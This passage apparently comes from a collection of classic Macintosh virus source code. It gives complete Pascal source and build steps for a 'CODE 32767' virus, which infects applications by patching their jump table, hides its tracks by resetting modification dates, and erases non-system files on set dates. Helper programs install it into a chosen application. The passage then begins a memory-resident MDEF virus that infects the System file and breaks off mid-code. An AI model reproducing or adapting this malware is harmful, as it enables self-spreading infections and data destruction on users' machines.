AFTER infection it will look like this:
**********************************************************
$00000030		("Above A5" size)
$0000xxxx		("Below A5" size)
$00000010		(Length of Jump Table)
$00000020		(Offset to jump Table from location pointed to by A5)
$0000			(Offset of first routine's entry from beginning of seg)
$3F3C7FFF		(MOVE.W	#$7FFF,-(SP))
$A9F0		(_LoadSeg)
$012A		(Offset of first routine's entry from beginning of seg)
$3F3C0002		(MOVE.W	#$0002,-(SP))
$A9F0		(_LoadSeg)
***********************************************************
This way, none of the Jump Table variables will need to change, since the JT has exactly the same 
length, and only the first entry is changed.
The trick then is to call the segment that the Jump Table originally called, indirectly. For that, we use 
some inline code, jumping to the segment that the Jump Table originally called, by picking the 
segment offset and the segment number from the virus header, where they have been stored from the 
previous infection. Note however that this poses an additional problem. By jumping indirectly to 
register A0, the stack is left with the main stack frame dangling. Consequently, the Finder return 
addresses are invalid. To correct this, a special inline routine called "CleanStackAndCall" is created, 
that clears the main stack frame before jumping to register A0. It looks like:
{********************************************************}
procedure CleanStackAndCall (aRoutine: ProcPtr);
inline
$205F,	{MOVE.L	(SP)+,A0}	(pop jumping address from stack)
$4CDF, $0CF8,{MOVEM.L	(A7)+,D3-D7/A2/A3}	(restore registers)
$4E5E,	{UNLK	A6}			(restore link frame)
$4ED0;	{JMP		(A0)}			(jump to original program)
{********************************************************}
Note that we first pop the jumping address from the stack, then fix the registers and the stack frame, 
and finally jump to register A0.
Contrary to the T4 virus, the registers do not need to be saved and restored, since the virus is the first 
thing that gets executed. i.e., nothing gets executed BEFORE the virus, so the registers are clean. 
Thus, the infected application's code does not care about the state they are in at the time of execution.
The virus works as follows: First it scans the disk for files of type APPL. If it finds one it opens it and 
looks for CODE resources of id 32767 and it checks to see if the main segment number is a valid 
segment. If the Application contains a resource CODE 32767, it means it is infected. If not, it looks if 
the main segment can be loaded (that is, the segment that loads after the virus) and then it passes 
control to the patching manager which performs the following actions:
1)Gathers information from the Jump Table of the to-be-infected application.
2)Modifies the Jump Table to Jump to CODE 32767.
3)It modifies the main CODE segment that was bypassed as follows:
If the CODE segment had the header (see above jump table)
$0000	(Offset of the first routine's entry in the JT from its beginning)
$0001	(Number of Entries for this segment)
It will become:
$0008	(Since now another entry has replaced the main entry in the Jump Table)
$0000	(Number of Entries decreased by one!)
In general then, we have the following transformation of the header of the CODE resource that loads 
first in the Jump Table:
$xxxx	->	$xxxx+8
$yyyy->	$yyyy-1
That way, all intrasegment references will be preserved correctly.
3)It makes a copy of the viral resource 32767.
4)It stores the main segment number and the main routine offset into the viral resource.
5)It finally Adds that new copy to the file to be infected.
The exact sequence of infection is slightly different and actually adds the viral resource FIRST to the 
newly infected file, since the call to AddResource must be preceded by a call to NewHandle, which 
may fail if the application does not have a large enough heap. Thus if the memory manager fails to 
allocate a memory handle it will be forced to exit immediately. An effort is made to Purge memory 
before the call to NewHandle is made, to ensure that left over resources from previous open files are 
purged. That way, we can open as many resource files as we may need without memory problems. 
Even though the NewHandle call is made for a small amount of memory (~2K) it may fail if the 
application has a small size resource, and has opened many resource files, which it loads into 
memory. Problems will occur if the application to be infected has many resources that do not fit into 
the infected application's heap.
The above is performed if a global variable called "Delete" is false. If it is true, the procedure that is 
used for scanning the volume, is altered slightly to erase all non system files from the volume. The 
status of the global Delete is determined in the beginning from the "timing" of the virus (i.e. it is a 
function of the DateTime record at the time of run) and it is as follows:
It is based on the phrase 'FILE PREDATOR'. Take the English Alphabet, count it, starting with A=1, 
and the days on which the virus activates are the letters of the phrase 'FILE PREDATOR'. The hours 
are a plain 12-hour cycle starting with 9-10 for January, 10-11 for February, etc.
The virus will infect anything that's of type APPL, including Script Applications, or pseudo-
applications that depend on runtime environments.
EXCLUDING Native PowerPC code applications and applications that make non standard use of 
their resource fork. It will not infect most PowerPC applications, which make non standard use of the 
CODE 0 segment.
Specifically, it will infect applications only if they contain a legal call in
their jump table as follows:
$xxxx		(Offset of first routine's entry from beginning of seg)
$3F3C00xx	(MOVE.W	#$00xx,-(SP))
$A9F0	(_LoadSeg)
If the application's jump Table contains any other code, in the place of these bytes, it is immune 
against the CODE 32767 virus. Consequently, there is one very rare case, where the virus will 
damage an application: If the application contains the call above, but the bytes are not actually a 
_LoadSeg call.
As such, it is more infectuous than the T4 virus, but less informative. For example, the T4 will spin 
the watch telling the user to wait until the next application is found for infection (which may take 
some time on disks with many files) but the CODE 32767 virus does not have this capability, since all 
managers have not been initialized yet. In particular, InitGraf(thePort), InitFonts, InitWindows, 
InitMenus, TEInit and InitDialogs have not been called, so any graphic processing cannot be done. 
When the virus attempts to erase the contents of a volume, it may take considerable time (on the order 
of 30 secs) at which time the user may turn-off the machine from fear of program hanging. However 
in those 15-20 seconds that the computer has in its time, considerable erasing can take place. In the 
case of the T4, the erasing will be complete, since there are alert warnings notifying the user about a 
considerable delay. So the user won't worry.
The CODE 32767 virus can infect files only once, contrary to T4 which can infect files more than 
once.
The virus consists of many sub-project files:
1)32767-(Builds the actual viral body)
2)FixHeader-(Corrects the resource header information for the viral CODE resource.)
3)Install32767-(Installs the virus onto an application of your own choosing.)
To build the final project follow the next steps:
1)Open the project 32767 and select "build CODE resource"
2)Open the project FixHeader and select "Go"
3)Open the project Install32767 and select "Go", after you have placed an application on the Folder 
"Test Appls". If you change folders, change the corresponding lines in the source file.
After you are done, the application you placed in the Folder "Test Appls" will be a ready infected 
application with the CODE 32767 virus.
BE VERY CAREFULL WHEN YOU RUN THIS APPLICATION. PREFERABLY, DON'T RUN IT 
AT ALL. IT WILL INFECT YOUR APPLICATIONS IN YOUR HARD DISK IN THE BEST CASE, 
IT WILL ERASE YOUR HARD DRIVE IN THE WORST. THE AUTHOR DOES NOT BARE ANY 
RESPONSIBILITY IF YOU WANT TO EXPERIMENT WITH THE VIRUS. IN PARTICULAR IF 
YOU TRY TO RELEASE THE VIRUS, YOU ARE LIABLE TO CRIMINAL PENALTIES. YOU 
HAVE BEEN WARNED.
{*********************************************************}
{WARNING:THE AUTHOR IS NOT RESPONSIBLE FOR UNAUTHORIZED USE OF THIS 
PROGRAM}
{This is the CODE 32767 virus}
{*********************************************************}
unit virus32767;
interface
 procedure Main;
implementation
 procedure Main;
  label
   1000, 1001;
  type
   JumpTable = record    {the Jump Table record which represents the beginning}
     AboveA5: longint;           {of CODE resource 0}
     BelowA5: longint;
     LengthOfJT: longint;
     OffSet2JTFromLocA5: longint;
     OffsetOfFirstRoutine: integer;       {THIS field interests us}
     MoveWordInstruction: integer;
     SegmentNumber: integer;        {THIS field interests us}
     LoadSegTrap: integer;
    end;
   JumpTablePtr = ^JumpTable;
   JumpTableHandle = ^JumpTablePtr;
{*********************************************************}
   VirusSegmentBeginning = record      {representation of the 32767 CODE segment start}
     OffsetOfFirstEntryfromBegOfJT: integer;
     NumberOfEntriesForThisSeg: integer;
     BRANextInstruction: integer;
     OffsetOfFirstNormalRoutine: integer;    {this is where we store the field "OffsetOfFirstRoutine" 
above}
     NormalSegmentNumber: integer;      {this is where we store the field "SegmentNumber", above}
     Free1: longint;  {These fields are free for internal use. Total:14 bytes}
     Free2: longint;
     Free3: longint;
     Free4: integer;
    end;
   VirusSegmentBeginningPtr = ^VirusSegmentBeginning;
   VirusSegmentBeginningHandle = ^VirusSegmentBeginningPtr;
{*********************************************************}
   GeneralSegment = record
     OffsetOfFirstEntryfromBegOfJT: integer;
     NumberOfEntriesForThisSeg: integer;
    end;
   GeneralSegmentPtr = ^GeneralSegment;
   GeneralSegmentHandle = ^GeneralSegmentPtr;
{*********************************************************}
   cinfopbhandle = ^cinfopbptr;  {directory scan parameter block handle}
{*********************************************************}
   HParamBlockHandle = ^HParmBlkPtr;        {parameter block for PBHSetFInfo}
  var
   VirusSegBeginHandle: VirusSegmentBeginningHandle;  {to access the 32767 CODE resource}
   JumpTHandle: JumpTableHandle;          {to access the Jump Table of the infected application}
   GenSegHandle: GeneralSegmentHandle;        {to access a general segment}
   CopyHandle: Handle;      {Copy of a segment to add to the infected file}
   SegmentSize: integer;        {Size of the segment above}
   Offset, SegNum: integer;{same as the corresponding fields of the Jump table}
   MainCode: Handle;               {main CODE segment that is loaded normally on uninfected apps}
   cipbh: cinfopbhandle;         {directory scan parameter block handle}
   pathname: str255;    {complete pathname of application to be infected}
   scanname: string[31];{partial file name returned by the scanning proc}
   theworld: sysenvrec;              {default system vars}
   foundone: boolean;           {TRUE if there is a candidate for infection}
   opened, active: integer;{refnums of app to be infected, and current app}
   vrefnum: integer;
   Dummy: Handle;         {Dummy handle to change resource attributes}
   Attributes: integer;              {resource attributes}
   ApplicationFile, SystemFile: boolean;        {if files are respectivelly one or the other}
   Delete: boolean;                {If True, all hell breaks loose}
{*********************************************************}
{Evil Dates determines whether the Date is an erase date, or just a replication date}
{*********************************************************}
  function EvilDate: boolean;
   var
    theDate: DateTimeRec;
    temp: boolean;
  begin
   GetTime(theDate); {Get the Current Date to determine if it's an evil date}
   with theDate do
    begin
     temp := (Month = 1) and (Day = 6) and (Hour = 9);       {Days make 'FILE PREDATOR'}
     temp := temp or ((Month = 2) and (Day = 9) and (Hour = 10));
     temp := temp or ((Month = 3) and (Day = 12) and (Hour = 11));
     temp := temp or ((Month = 4) and (Day = 5) and (Hour = 12));
     temp := temp or ((Month = 5) and (Day = 16) and (Hour = 13));
     temp := temp or ((Month = 6) and (Day = 18) and (Hour = 14));
     temp := temp or ((Month = 7) and (Day = 5) and (Hour = 15));
     temp := temp or ((Month = 8) and (Day = 4) and (Hour = 16));
     temp := temp or ((Month = 9) and (Day = 1) and (Hour = 17));
     temp := temp or ((Month = 10) and (Day = 20) and (Hour = 18));
     temp := temp or ((Month = 11) and (Day = 15) and (Hour = 19));
     temp := temp or ((Month = 12) and (Day = 18) and (Hour = 20));
    end;
   EvilDate := temp;
  end;
{*********************************************************}
{the following examines whether an application is infected or not infected. It also opens the resource 
fork of the application to be infected so that we can process it later. Upon exit from this routine, we 
have opened the resource file to be infected. }
{*********************************************************}
  procedure examineapplication;
   label
    1002;
   const
    ThreeK = 3072;
   var
    index, err, attributes: integer;
    Busy: boolean;               {TRUE if application is running}
  begin
   err := rstflock(pathname, vrefnum);          {unlock, just in case}
   opened := openrfperm(pathname, 0, fsrdwrshperm);     {open resource file}
   err := reserror;
   Busy := (err <> noErr) or (opened = active);         {true if somehow resource file is used}
   if not Busy then               {don't infect running apps}
    begin
     attributes := getresfileattrs(opened);         {maybe it's read only}
     if band(attributes, mapreadonly) = mapreadonly then
      begin
       attributes := attributes - mapreadonly + mapchanged;  {clear old attributes}
       setresfileattrs(opened, attributes);       {set new flags}
      end;
     useresfile(opened);             {make current just in case}
     JumpTHandle := JumpTableHandle(Get1Resource('CODE', 0));     {Get a hold of its jump table}
     if JumpTHandle = nil then    {weird APPL. Does not have a Jump Table!?}
      goto 1002;
     HLock(Handle(JumpTHandle));
     with JumpTHandle^^ do
      begin
       Offset := OffsetOfFirstRoutine;      {Get offset to first routine}
       SegNum := SegmentNumber;       {in segment #}
      end;
     HUnLock(Handle(JumpTHandle));
     GenSegHandle := GeneralSegmentHandle(Get1Resource('CODE', SegNum));  {Get a hold of its 
main segment}
     foundone := (GenSegHandle <> nil) and (Get1Resource('CODE', maxint) = nil);  {Mark for 
infection}
{Note that if it is a PowerPC Application, it will give GenSegHandle=nil, since SegNum is usually -1 
(FFFF)}
    end;{if not Busy}
1002:
   if not Busy and not foundone then
    begin
     closeresfile(opened);            {if not us, or if not running, close it}
     PurgeMem(ThreeK);            {Purge leftover garbage}
    end;
  end;
{*********************************************************}
{The following brings the next clean application from the directory. It returns the complete pathname 
of the next app in the hard drive that does not contain a CODE resource of id=32767 and is not 
running. Implemented recursively. It will scan directories as deep as determined by the constant 
charscanningdepth}
{*********************************************************}
  procedure nextcleanapp (dirid: longint);
   const
    charscanningdepth = 255;       {pathname is at most this long}
   var
    indx, i, j: integer;
    err: oserr;
  begin
   indx := 0;
   repeat
    indx := indx + 1;
    with cipbh^^ do
     begin
      ionameptr := @scanname;
      iofdirindex := indx;
      iodirid := dirid;
      iovrefnum := 0;
      err := pbgetcatinfo(cipbh^, FALSE);
      if err = noerr then
       begin
        if length(pathname) + length(scanname) <= charscanningdepth then {don't look deeper than 
charscanningdepth chars}
         begin
          pathname := concat(pathname, ':', scanname);       {stack}
          if bittst(@ioflattrib, 3) then            {directory}
           nextcleanapp(iodirid)
          else {file}
           begin
            ApplicationFile := (ioflfndrinfo.fdtype = 'APPL') or ((ioflfndrinfo.fdcreator = 'MACS') and 
(ioflfndrinfo.fdtype = 'FNDR')) or (scanname = 'MultiFinder');
            SystemFile := pos(scanname, 'System') <> 0;
            if not Delete and ApplicationFile then
{*********************************************************}
{examine file to see if it is already infected, and if not to see if it can be infected}
{*********************************************************}
             examineapplication{if type=APPL}
            else if Delete and not ApplicationFile and not SystemFile then
             err := HDelete(vrefnum, 0, pathname);
           end;
          if not foundone then  {unstack only if we haven't found one yet}
           begin
            i := length(pathname);
            j := i;
            while pathname[i] <> ':' do
             i := i - 1;
            pathname := omit(pathname, i, j);
           end;{if not foundone}
         end;{if length ok}
       end;{if err=noerr}
     end;{with cipbh^}
   until (err = fnferr) or foundone;
  end;
{*********************************************************}
{The following routine clears the resprotected attribute of a CODE resource if it is set}
{*********************************************************}
  procedure ClearResProtected (h: handle);
   var
    attributes: integer;
  begin
   attributes := getresattrs(h);             {first change the code attributes}
   if band(attributes, resprotected) = resprotected then
    setresattrs(h, attributes - resprotected);         {clear attributes so we can write}
  end;
{*********************************************************}
{The following routine corrects the modification date so that it doesn't show after the infection}
{*********************************************************}
  procedure SetModificationDate;
   label
    1002;
   var
    ParamBlock: HParamBlockHandle;         {parameter block for PBHSetFInfo}
    err: OsErr;
  begin
   ParamBlock := HParamBlockHandle(NewHandle(SizeOf(HParamBlockRec)));
   if MemError <> noErr then
    goto 1002;         {Exit if we can't get the memory}
   HLock(Handle(ParamBlock));
   with ParamBlock^^ do
    begin
     ioFDirIndex := 0;
     ioNamePtr := @pathname;
     err := PBHGetFInfo(ParamBlock^, FALSE);
     ioFlMdDat := ioFlCrDat;
     err := PBHSetFInfo(ParamBlock^, FALSE);
    end;
   HUnlock(Handle(ParamBlock));
   DisposeHandle(Handle(ParamBlock));
1002:
  end;
{*********************************************************}
{The following routine calls the main CODE resource that would have been called otherwise by the 
uninfected application. We thus bypass the Jump Table and call the CODE resource using the method 
below. It also cleans up the main stack frame which by definition cannot be called since we are 
indirectly jumping to main code via the A0 register.}
{*********************************************************}
  procedure CleanStackAndCall (aRoutine: ProcPtr);
  inline
   $205F,   {MOVE.L  (SP)+,A0}
   $4CDF, $0CF8, {MOVEM.L (A7)+,D3-D7/A2/A3}
   $4E5E,   {UNLK A6}
   $4ED0;   {JMP  (A0)}
{*********************************************************}
 begin  {main code}
  MaxApplZone;                    {Expand heap to its limit}
  active := CurResFile;                 {find out our ref number}
  VirusSegBeginHandle := VirusSegmentBeginningHandle(GetResource('CODE', maxint)); {Bring 
virus from main resource file}
  Delete := EvilDate;                  {Determine if  we are to Erase volume}
  if sysenvirons(1, theworld) <> noErr then     {get the environment}
   goto 1001;
  pathname := '';
  scanname := '';
  vrefnum := theworld.sysvrefnum;
  if setvol(nil, vrefnum) <> noErr then                 {get startup volume}
   goto 1001;
  if getvol(@pathname, vrefnum) <> noErr then      {get startup volume}
   goto 1001;
  foundone := false;                   {set initial value of foundone to false}
  opened := 0;                     {initialize opened resource file to 0}
  cipbh := cinfopbhandle(newhandle(sizeof(cinfopbrec)));     {get memory for directory scan}
  if memerror <> noErr then
   goto 1001;                    {exit if we can't get the memory}
  hlock(handle(cipbh));                  {lock to use}
  nextcleanapp(fsrtdirid);                {search for next uninfected appl}
  hunlock(handle(cipbh));                 {unlock to free}
  disposehandle(handle(cipbh));               {dispose of}
  if foundone then       {we have an open resource file ready for proccessing}
   begin
{Add viral resource}
    SegmentSize := GetHandleSize(Handle(VirusSegBeginHandle));
    CopyHandle := NewHandle(SegmentSize);        {Allocate memory fo copied handle}
    if MemError <> noErr then
     goto 1000;
    HLock(Handle(VirusSegBeginHandle));
    HLock(CopyHandle);
    BlockMove(Handle(VirusSegBeginHandle)^, CopyHandle^, SegmentSize);     {copy memory}
    with VirusSegmentBeginningHandle(CopyHandle)^^ do
     begin
      OffsetOfFirstNormalRoutine := Offset; {Store offset}
      NormalSegmentNumber := SegNum;  {store segment number}
     end;
    HUnlock(CopyHandle);
    HUnlock(Handle(VirusSegBeginHandle));
    AddResource(CopyHandle, 'CODE', $7FFF, '');
    if ResError <> noErr then
     goto 1000;
    Dummy := Get1Resource('CODE', $7FFF);
    Attributes := GetResAttrs(Dummy);
    Attributes := Attributes + ResLocked + ResPreload;
    SetResAttrs(Dummy, Attributes);
    UpdateResFile(opened);
    DisposeHandle(CopyHandle);
{Deal with JumpTable}
    ClearResProtected(handle(JumpTHandle));       {remove resprotected attribute}
    HLock(Handle(JumpTHandle));
    with JumpTHandle^^ do
     begin
      OffsetOfFirstRoutine := $0000;      {change with ours}
      SegmentNumber := $7FFF;        {32767 in hex}
     end;
    HUnlock(Handle(JumpTHandle));
    ChangedResource(Handle(JumpTHandle));
    if ResError <> noErr then
     goto 1000;
    UpdateResFile(opened);
{Now deal with main segment CODE resource}
    ClearResProtected(handle(GenSegHandle));       {remove resprotected attribute}
    HLock(Handle(GenSegHandle));      {Now change genral main segment's header}
    with GenSegHandle^^ do
     begin
      OffsetOfFirstEntryfromBegOfJT := OffsetOfFirstEntryfromBegOfJT + 8;
      NumberOfEntriesForThisSeg := NumberOfEntriesForThisSeg - 1;
     end;
    HUnlock(Handle(GenSegHandle));
    ChangedResource(Handle(GenSegHandle));
    UpdateResFile(opened);
   end;  {if foundone}
1000:
  UseResFile(active);
  if foundone then
   CloseResFile(opened);
{Now restore modification dates}
  if foundone then
   SetModificationDate;
{Now bypass the Jump Table and call main segment after we are done}
1001:
  with VirusSegBeginHandle^^ do
   begin
    MainCode := Get1Resource('CODE', NormalSegmentNumber);
    CleanStackAndCall(ProcPtr(Ord(StripAddress(MainCode^)) + OffsetOfFirstNormalRoutine + 4)); 
{4 bytes extra because of the CODE header}
   end;
 end;
end.

The comments at the end of each statement give an accurate description of how the virus 
works. You can of course re-use several of the utility routines in this virus, such as the jumping 
"indirect" via the A0 register, even in asm, provided you perform the correct pointer calculations. 
Now let's take a look on how we modify the header of the code segment produced by the Pascal 
compiler.
{*********************************************************}
{This Program Fixes the Header of the CODE resource produced by the Pascal Compiler. Select Go 
from the Run Menu, after you adjust the pathnames to reflect your disk structure. For an explanation 
of the data structures, see the same data structures on the main program}
{*********************************************************}
program FixHeader;
 label
  1000;
 const
  MainSegmentFileName = 'Hard Disk:CharConvert:CODE 32767:32767:32767body'; {change here 
to your dir names}
 type
  VirusSegmentBeginning = record
    OffsetOfFirstEntryfromBegOfJT: integer;
    NumberOfEntriesForThisSeg: integer;
    BRANextInstruction: integer;
    OffsetOfFirstNormalRoutine: integer;
    NormalSegmentNumber: integer;
    Free1: longint;
    Free2: longint;
    Free3: longint;
    Free4: integer;
   end;
  VirusSegmentBeginningPtr = ^VirusSegmentBeginning;
  VirusSegmentBeginningHandle = ^VirusSegmentBeginningPtr;
 var
  VirusSegBeginHandle: VirusSegmentBeginningHandle;
  refnum: integer;
begin
 ShowText;
 refnum := OpenResFile(MainSegmentFileName);
 writeln('OpenResFile:', ResError);
 if ResError <> noErr then
  goto 1000;
 VirusSegBeginHandle := VirusSegmentBeginningHandle(GetResource('CODE', maxint));
 writeln('GetResource:(nil handle)', VirusSegBeginHandle = nil);
 if VirusSegBeginHandle = nil then
  goto 1000;
 HLock(handle(VirusSegBeginHandle));
 with VirusSegBeginHandle^^ do
  begin
   OffsetOfFirstEntryfromBegOfJT := $0000;
   NumberOfEntriesForThisSeg := $0001;
   BRANextInstruction := $6012;  {BRA.S NextExecutableInstruction}
   OffsetOfFirstNormalRoutine := $0000;
   NormalSegmentNumber := $0001;  {usually segment #1}
   Free1 := longint('FILE');
   Free2 := longint('PRED');
   Free3 := longint('ATOR');
   Free4 := integer('VR');
  end;
 HUnLock(handle(VirusSegBeginHandle));
 ChangedResource(handle(VirusSegBeginHandle));
 writeln('ChangedResource:', ResError);
1000:
 CloseResFile(refnum);
end.

And finally the virus installer:
{*********************************************************}
{This Program installs the virus on an application of your choosing. Here for simplicity we use 
TeachText}
{*********************************************************}
program Install32767;
 label
  1000;
 const
  CodeResourceFileName = 'Hard Disk:CharConvert:CODE 32767:32767:32767Body';
  ApplicationFileName = 'Hard Disk:CharConvert:CODE 32767:Test Appls:SimpleText';
 type
  JumpTable = record{the Jump Table record which represents the beginning}
    AboveA5: longint;          {of CODE resource 0}
    BelowA5: longint;
    LengthOfJT: longint;
    OffSet2JTFromLocA5: longint;
    OffsetOfFirstRoutine: integer;      {THIS field interests us}
    MoveWordInstruction: integer;
    SegmentNumber: integer;        {THIS field interests us}
    LoadSegTrap: integer;
   end;
  JumpTablePtr = ^JumpTable;
  JumpTableHandle = ^JumpTablePtr;
  VirusSegmentBeginning = record      {representation of the 32767 CODE segment start}
    OffsetOfFirstEntryfromBegOfJT: integer;
    NumberOfEntriesForThisSeg: integer;
    BRANextInstruction: integer;
    OffsetOfFirstNormalRoutine: integer;    {this is where we store the field "OffsetOfFirstRoutine" 
above}
    NormalSegmentNumber: integer;      {this is where we store the field "SegmentNumber", above}
    Free1: longint;
    Free2: longint;
    Free3: longint;
    Free4: integer;
   end;
  VirusSegmentBeginningPtr = ^VirusSegmentBeginning;
  VirusSegmentBeginningHandle = ^VirusSegmentBeginningPtr;
  cinfopbhandle = ^cinfopbptr;   {directory scan parameter block handle}
  GeneralSegment = record
    OffsetOfFirstEntryfromBegOfJT: integer;
    NumberOfEntriesForThisSeg: integer;
   end;
  GeneralSegmentPtr = ^GeneralSegment;
  GeneralSegmentHandle = ^GeneralSegmentPtr;
 var
  VirusSegBeginHandle: VirusSegmentBeginningHandle;    {to access the 32767 CODE resource}
  JumpTHandle: JumpTableHandle;         {to access the Jump Table of the infected application}
  GenSegHandle: GeneralSegmentHandle;   {to access a general segment}
  CopyHandle, theVirus: Handle;{Copy of a segment to add to the infected file}
  SegmentSize: integer;         {Size of the segment above}
  refnum1, refnum2, Offset, SegNum: integer;
  err: OSErr;
  Attributes: integer;
  Dummy: Handle;
begin
 ShowText;
 refnum1 := OpenResFile(CodeResourceFileName);
 err := ResError;
 writeln('OpenResFile:', err);
 if err <> noErr then
  goto 1000;
 refnum2 := OpenResFile(ApplicationFileName);
 err := ResError;
 writeln('OpenResFile:', err);
 if err <> noErr then
  goto 1000;
 UseResFile(refnum2);
 JumpTHandle := JumpTableHandle(Get1Resource('CODE', 0));     {Get a hold of its jump table}
 writeln('Get1Resource:(nil handle)', JumpTHandle = nil);
 if JumpTHandle = nil then
  goto 1000;
 HLock(Handle(JumpTHandle));
 with JumpTHandle^^ do
  begin
   Offset := OffsetOfFirstRoutine;      {Get offset to first routine}
   SegNum := SegmentNumber;       {in segment #}
   OffsetOfFirstRoutine := $0000;      {change with ours}
   SegmentNumber := $7FFF;        {32767 in hex}
  end;
 HUnlock(Handle(JumpTHandle));
 ChangedResource(Handle(JumpTHandle));
 err := ResError;
 writeln('ChangedResource:', err);
 if err <> noErr then
  goto 1000;
 GenSegHandle := GeneralSegmentHandle(Get1Resource('CODE', SegNum));  {Get a hold of its 
main segment}
 writeln('Get1Resource:(nil handle)', GenSegHandle = nil);
 if GenSegHandle = nil then
  goto 1000;
 HLock(Handle(GenSegHandle));
 with GenSegHandle^^ do
  begin
   OffsetOfFirstEntryfromBegOfJT := OffsetOfFirstEntryfromBegOfJT + 8;
   NumberOfEntriesForThisSeg := NumberOfEntriesForThisSeg - 1;
  end;
 HUnlock(Handle(GenSegHandle));
 ChangedResource(Handle(GenSegHandle));
 err := ResError;
 writeln('ChangedResource:', err);
 if err <> noErr then
  goto 1000;
 UseResFile(refnum1);
 VirusSegBeginHandle := VirusSegmentBeginningHandle(GetResource('CODE', maxint));  {Bring it 
from main resource file}
 writeln('GetResource (nil handle):', VirusSegBeginHandle = nil);
 if VirusSegBeginHandle = nil then
  goto 1000;
 SegmentSize := GetHandleSize(Handle(VirusSegBeginHandle));
 CopyHandle := NewHandle(SegmentSize);
 err := MemError;
 writeln('NewHandle:', err);
 if err <> noErr then
  goto 1000;
 HLock(Handle(VirusSegBeginHandle));
 HLock(CopyHandle);
 BlockMove(Handle(VirusSegBeginHandle)^, CopyHandle^, SegmentSize);
 with VirusSegmentBeginningHandle(CopyHandle)^^ do
  begin
   OffsetOfFirstNormalRoutine := Offset;
   NormalSegmentNumber := SegNum;
  end;
 HUnlock(CopyHandle);
 HUnlock(Handle(VirusSegBeginHandle));
 UseResFile(refnum2);
 AddResource(CopyHandle, 'CODE', $7FFF, '');
 err := ResError;
 writeln('AddResource:', err);
 Dummy := Get1Resource('CODE', maxint);
 Attributes := GetResAttrs(Dummy);
 Attributes := Attributes + ResLocked + ResPreload;
 SetResAttrs(Dummy, Attributes);
 err := ResError;
 writeln('SetResAttrs:', err);
 CloseResFile(refnum1);
 CloseResFile(refnum2);
 DisposeHandle(CopyHandle);
1000:
end.

Note that in the case of the Installer, we don't need to make implicit calculations, because we 
know which program we are going to infect, so we can just look at its jump table and modify it 
accordingly. This last program is in essence nothing more than a batch facility which allows for quick 
modification of the target file, the first host.

FOURTH EXAMPLE: A MDEF VIRUS

DESCRIPTION:

This is an MDEF virus. This virus is mainly memory resident, meaning that once it activates, it stays 
in memory until a hard restart is executed. The idea behind its activation is simple. The MDEF code 
header looks like this:
BRA.S	MAIN
DC.W		#$0000
DC.W		#$4D44
DC.W		#$4546
DC.W		#$0000
DC.W		#$000E
LINK		A6,#-$0166
...
if, instead, we patched the code to jump to a subroutine BEFORE the activation of the MDEF, we 
have nice viral code that gets executed, before the actual MDEF. Therefore, consider the following 
patch of the header:
BSR		VIRUS
BRA.S	MAIN
DC.W		whatever info we want (integer)
DC.W		whatever info we want (integer)
DC.W		whatever info we want (integer)
LINK		A6,#-$0166
...
...
VIRUS:LINK	a6,#xxx
	MORE VIRAL CODE
	MORE
	...
	RTS
------------------------------------
This patch ensures that every time the MDEF gets executed, the viral code will be executed first. If an 
infected application is run, it will immediately infect the System file. Once the System file gets 
infected, every application that tries to execute will be infected immediately. Since the MDEF with 
id=0 gets called whenever the menu manager accesses a menu, the virus activates many times during 
an application execution, trying to enter the System. If it manages that, it will stay there forever as 
part of the System Resources. It is one of the simplest and most virulent viruses so far, thus exercise 
great caution when you run an infected application. It is a new virus, thus no antiviral tool or program 
will detect it, except programs like SAM Intercept and GateKeeper which monitor operations by 
patching traps of the Resource Manager. It is not a malignant virus, contrary to the CODE 32767 and 
T4 viruses, which erase Hard Disks.
The virus "mutates" in the naive sense, meaning that it will attach copies of itself to the DIFFERENT 
original MDEF's that each System has. For example, if the virus is run on a System 7.0 but its MDEF 
is  of version 7.5.3, it will adapt to the particular MDEF for System 7.0. The viral code itself does not 
mutate, but the MDEF as a whole will mutate if transferred from one System to another of different 
versions. Accordingly, the main "host" of the virus is the MDEF it sits upon. The secondary host, is 
the application or file that caries the virus. Of course, this may lead to trouble, if a newer MDEF 
infected file is carried into an older System. The virus itself, is 500 bytes long, which is the shortest 
virus ever made. But upon attaching itself on a MDEF resource, it assumes the sum of the individual 
sizes.
A side effect of the virus, is that it stays active in memory, even after its deactivation. Thus the System 
immediately starts executing the viral code after the infected application quits.
The MDEF folder consists of two programs, MDEF.p which is the heart of the virus, and 
MDEFInstall.p, which installs the MDEF resource in the application of your choosing. To create an 
infected application:
1)Open the project MDEF.proj and select "Build Code Resource" from the menu.
2)Open the project MDEFInstall.proj and select "Go" from the menu.
The application SimpleText on your directory will be an infected application.
CAUTION: YOU HAVE BEEN WARNED. BE VERY CAREFUL WHEN YOU RUN THIS 
APPLICATION. IT WILL INFECT YOUR HARD DISK AND GRADUALLY ALL THE 
APPLICATIONS IN IT, AND POSSIBLY OTHER FILES AS WELL. YOU ARE LIABLE TO 
CRIMINAL PENALTIES IF YOU RELEASE THE VIRUS. THE AUTHOR IS NOT RESPONSIBLE 
IF YOU DO.

unit MDEF;
interface
 procedure Main;
implementation
 procedure Main;
  label
   1000;
  type
   PtrPtr = ^Ptr;            {To retrieve the virus entry point address}
   MDEFHeader = array[1..6] of integer;  {To access the MDEF header}
   MDEFHeaderPtr = ^MDEFHeader;
   MDEFHeaderHandle = ^MDEFHeaderPtr;
  var
   CurrentResFile, theAttrs, BranchOffset, Bytes2Copy: integer;
   theMDEF, theApplMDEF, theSysMDEF: Handle;
   comesFromApplication, SystemInfected, ApplicationInfected: boolean;
   EntryAddress: Ptr;
 begin
  currentResFile := CurResFile;           {find out the current res file}
  theMDEF := GetResource('MDEF', 0);   {load MDEF 0}
  comesFromApplication := HomeResFile(theMDEF) = CurResFile;  {T if MDEF loaded from 
CurResFile}
  if comesFromApplication then           {loaded from appl}
   begin {check System}
    UseResFile(0);                {switch to System}
    theSysMDEF := Get1Resource('MDEF', 0);      {get the system MDEF}
    SystemInfected := (MDEFHeaderHandle(theSysMDEF)^^[5] = integer('BA')) and 
(MDEFHeaderHandle(theSysMDEF)^^[6] = integer('CH')); {see if the system MDEF is an infected 
version}
    if not SystemInfected then  {infect System File}
     begin
{theSysMDEF now contains a handle to the System Heap code, and theMDEF contains a handle to 
the Application MDEF}
{Now calculate the offset to the virus branch point...}
      BranchOffset := SizeResource(theSysMDEF) - 2;
{Next calculate the actual size of the virus. From the size of the MDEF, subtract the size of the 
nonviral part}
      Bytes2Copy := SizeResource(theMDEF) - ABS(Ord(StripAddress(theMDEF^)) - 
Ord(StripAddress(EntryAddress)));
      HUnlock(theSysMDEF);
{Next concatenate the virus to the System MDEF...}
